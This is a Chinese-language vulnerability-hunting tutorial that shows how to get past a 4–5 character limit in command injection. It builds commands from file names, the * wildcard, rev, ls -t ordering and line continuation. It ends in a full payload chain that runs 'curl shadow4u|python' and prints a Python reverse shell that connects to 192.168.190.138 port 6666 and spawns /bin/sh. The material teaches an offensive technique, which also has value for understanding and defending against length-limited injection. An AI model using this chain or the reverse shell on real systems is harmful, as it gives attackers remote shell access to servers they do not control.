1. 程式人生 > 其它 >挖洞經驗 | 命令注入突破長度限制

挖洞經驗 | 命令注入突破長度限制

0x01 背景

很多時候,在我們歷經千辛萬苦挖掘出一個漏洞或者找到一個利用點的時候,卻因為一些egg hurt的限制,導致get shell或者send payload無法成功,其實很多高手都是有一些trick的,但是往往一串包含各種trick的高深payload甩得你不知所云

最近遇到這樣一個問題。命令長度限制在5,如何完成注入get shell?

Array什麼的都嘗試無果,在學習了各種大牛的trick後,才恍然大悟,希望給初學者提供一些新的思路,集思廣益。

0x02 命令組裝

首先是命令組裝,先來看一個例子,準備工作 mkdir cmd;cd cmd;

分別輸入>echo >hello

,可以看到分別建立了兩個檔案echo和 hello,然後執行*,結果輸出了hello

很多人一定已經明白

此時等於 echo hello,我們可以通過**_echo _ 來檢視*到底是啥

這樣,我們通過>echo >hello 完成命令組裝,然後* 組成並執行了命令echo hello

同樣的道理

不過這次讓我們把命令長度限制到4

那麼如果我們要執行命令ls -l怎麼辦

我們模仿上面做法,輸入>ls>-l產生了兩個檔案 ls -l

這有個問題,我們剛才生成的echo和hello,e 的順序正好在h之前,所以ok。但是此時檔案的顯示順序-l在 ls前面,如果我們執行 其實是執行_*-l ls

_,會出現錯誤

那麼如何獲得ls -l呢,先是第一種思路

0x03 反轉命令

我們把這個命令字元序列反過來看 l- sl

這樣是不是順序正好滿足要求,接下來我們只需要用一個可以把字元反過來的命令,就可以完成這個功能

這樣,我們先生成l-和sl兩個命令

然後將l- sl組合寫入檔案v(為什麼檔名要用v ,下面會解釋,是個trick),最後用一個命令將檔案中的位元組反轉

如果我們直接使用ls>v

可以看到檔案v中多了一個v,對我們命令造成干擾

我們只想檔案中存在l-和sl

_trick1 _

這裡有個技巧

dir a b>c只會將a b寫到檔案c中

我們建立一個名為dir的檔案,然後執行*>v

,可以獲得l- 和ls

接下來就是反序

trick2

有一個rev命令,正好可以將內容反序,我們產生一個名為rev的檔案,然後執行*v ,此時命令相當於rev v(這裡就是上面為啥檔案命名為v,為了被萬用字元匹配),這樣就產生了我們要的輸出ls -l

然後就是輸出到檔案x,然後就可以執行sh x,成功以4 個字元執行長度為5的ls -l命令

整個命令鏈(長度<=4)

完成ls -l

0x04 控制順序

理解上述命令之後

假設我們要生成ls -t >g

逆序是g< t- sl,按照字母順序 t- 會在 sl 後面,不滿足需要。所以我們變通一下,生成命令ls -th >g,逆序就是g> ht- sl,正好滿足順序要求,然後依葫蘆畫瓢

   _trick3_

上面說到檔名排列的時候有預設順序,怎麼自由控制順序呢

其實ls -t 也就是根據mtime排序,新的在前面

而-h對順序本身沒什麼影響,可以方便構造payload

比如我們要生成ls -l,可以通過ls -t打破預設順序

0x05 命令續行

通過前面的一連串命令,我們已經得到ls -th >g

trick4

然後還有一點,linux的命令續行,比如ls分成兩行,都是ok

這樣,我們就可以構造一連串的拼接命令續航。比如,我要構造命令curl shadow4u|python;

py這裡看著是5個字元,超過了4個的限制,實際上是因為 shell環境需要輸入產生,但是php 程式碼exec時,只需要輸入即可產生,比如 exec(“>py”)即可。所以這裡實際上是不超過4個字元的,為了演示直觀,在shell中直接執行。

執行ls -th>g

然後sh g,實際執行反彈shell命令

curl shadow4u獲得的內容

importsocket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.190.138",6666));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

0x06 payload鏈

所以,完整payload鏈為

生成包含ls -th >g檔案x

然後生成curl shadow4u|python命令續行檔案

然後執行sh x把curl shadow4u|python命令寫入檔案g

然後執行sh g,getshell

0x07 總結

4個trick思路加上重定向和反彈shell知識

trick1 命令組裝 dir a b >c trick2 萬用字元的妙用 *v=rev v trick3 按時間順序排列檔案 ls -t trick4 命令續行